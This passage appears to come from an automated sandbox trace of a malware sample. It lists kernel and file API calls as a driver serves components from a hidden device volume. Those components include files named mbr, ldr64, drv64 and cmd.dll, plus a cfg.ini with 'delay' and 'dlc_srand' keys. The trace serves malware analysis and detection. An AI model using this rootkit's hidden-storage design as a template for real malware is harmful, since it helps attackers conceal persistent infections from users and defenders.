FastMutex=0xfffffa80027d3898) [0129.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.109] KeLeaveCriticalRegion () [0129.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.109] KeEnterCriticalRegion () [0129.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.109] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.109] IdePortDispatch () returned 0x103 [0129.109] KeWaitForMutexObject () returned 0x0 [0129.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.109] KeLeaveCriticalRegion () [0129.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.109] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.110] KeEnterCriticalRegion () [0129.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9b000 [0129.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.110] IdePortDispatch () returned 0x103 [0129.110] KeWaitForMutexObject () returned 0x0 [0129.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.110] IdePortDispatch () returned 0x103 [0129.110] KeWaitForMutexObject () returned 0x0 [0129.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.110] KeLeaveCriticalRegion () [0129.110] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.111] KeEnterCriticalRegion () [0129.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] KeLeaveCriticalRegion () [0129.111] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.111] KeEnterCriticalRegion () [0129.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.111] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] KeLeaveCriticalRegion () [0129.111] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.111] KeEnterCriticalRegion () [0129.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] ExFreePoolWithTag (P=0xfffffa8003c02310, Tag=0x0) [0129.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] KeLeaveCriticalRegion () [0129.111] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.111] ReleaseMutex (hMutex=0xf0) returned 1 [0129.111] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.111] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.111] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.111] KeEnterCriticalRegion () [0129.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.111] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.111] IdePortDispatch () returned 0x103 [0129.112] KeWaitForMutexObject () returned 0x0 [0129.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.112] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.112] KeLeaveCriticalRegion () [0129.112] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.112] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.112] KeEnterCriticalRegion () [0129.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.112] KeLeaveCriticalRegion () [0129.112] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.112] KeEnterCriticalRegion () [0129.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.112] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.112] IdePortDispatch () returned 0x103 [0129.112] KeWaitForMutexObject () returned 0x0 [0129.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.113] KeLeaveCriticalRegion () [0129.113] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.113] KeEnterCriticalRegion () [0129.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9c000 [0129.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.113] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.113] IdePortDispatch () returned 0x103 [0129.113] KeWaitForMutexObject () returned 0x0 [0129.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.113] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.113] IdePortDispatch () returned 0x103 [0129.113] KeWaitForMutexObject () returned 0x0 [0129.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.114] KeLeaveCriticalRegion () [0129.114] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.114] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.114] KeEnterCriticalRegion () [0129.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.114] KeLeaveCriticalRegion () [0129.114] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.114] KeEnterCriticalRegion () [0129.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.114] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.114] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.114] KeLeaveCriticalRegion () [0129.114] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.114] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.115] KeEnterCriticalRegion () [0129.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] KeLeaveCriticalRegion () [0129.115] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.115] ReleaseMutex (hMutex=0xf0) returned 1 [0129.115] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.115] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.115] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.115] KeEnterCriticalRegion () [0129.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.115] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.115] IdePortDispatch () returned 0x103 [0129.115] KeWaitForMutexObject () returned 0x0 [0129.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.115] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.115] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.115] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.115] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.115] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02f60 [0129.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] KeLeaveCriticalRegion () [0129.115] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.115] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.115] KeEnterCriticalRegion () [0129.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.115] KeLeaveCriticalRegion () [0129.116] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.116] KeEnterCriticalRegion () [0129.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.116] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.116] IdePortDispatch () returned 0x103 [0129.116] KeWaitForMutexObject () returned 0x0 [0129.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.116] KeLeaveCriticalRegion () [0129.116] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.116] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.116] KeEnterCriticalRegion () [0129.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9d000 [0129.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.116] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.116] IdePortDispatch () returned 0x103 [0129.116] KeWaitForMutexObject () returned 0x0 [0129.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.117] IdePortDispatch () returned 0x103 [0129.117] KeWaitForMutexObject () returned 0x0 [0129.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.117] KeLeaveCriticalRegion () [0129.117] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.117] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.117] KeEnterCriticalRegion () [0129.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] KeLeaveCriticalRegion () [0129.118] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.118] KeEnterCriticalRegion () [0129.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.118] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] KeLeaveCriticalRegion () [0129.118] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.118] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.118] KeEnterCriticalRegion () [0129.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] ExFreePoolWithTag (P=0xfffffa8003c02f60, Tag=0x0) [0129.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] KeLeaveCriticalRegion () [0129.118] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.118] ReleaseMutex (hMutex=0xf0) returned 1 [0129.118] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.118] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.118] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.118] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.118] KeEnterCriticalRegion () [0129.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.118] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.118] IdePortDispatch () returned 0x103 [0129.118] KeWaitForMutexObject () returned 0x0 [0129.119] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.119] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.119] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.119] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.119] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.119] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.119] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.119] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.119] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.119] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.119] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.119] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.119] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.119] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.119] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.119] KeLeaveCriticalRegion () [0129.119] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.119] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.119] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.119] KeEnterCriticalRegion () [0129.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.119] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.119] IdePortDispatch () returned 0x103 [0129.119] KeWaitForMutexObject () returned 0x0 [0129.119] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.119] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.119] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.119] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.119] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.120] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.120] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.120] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.120] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.120] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned 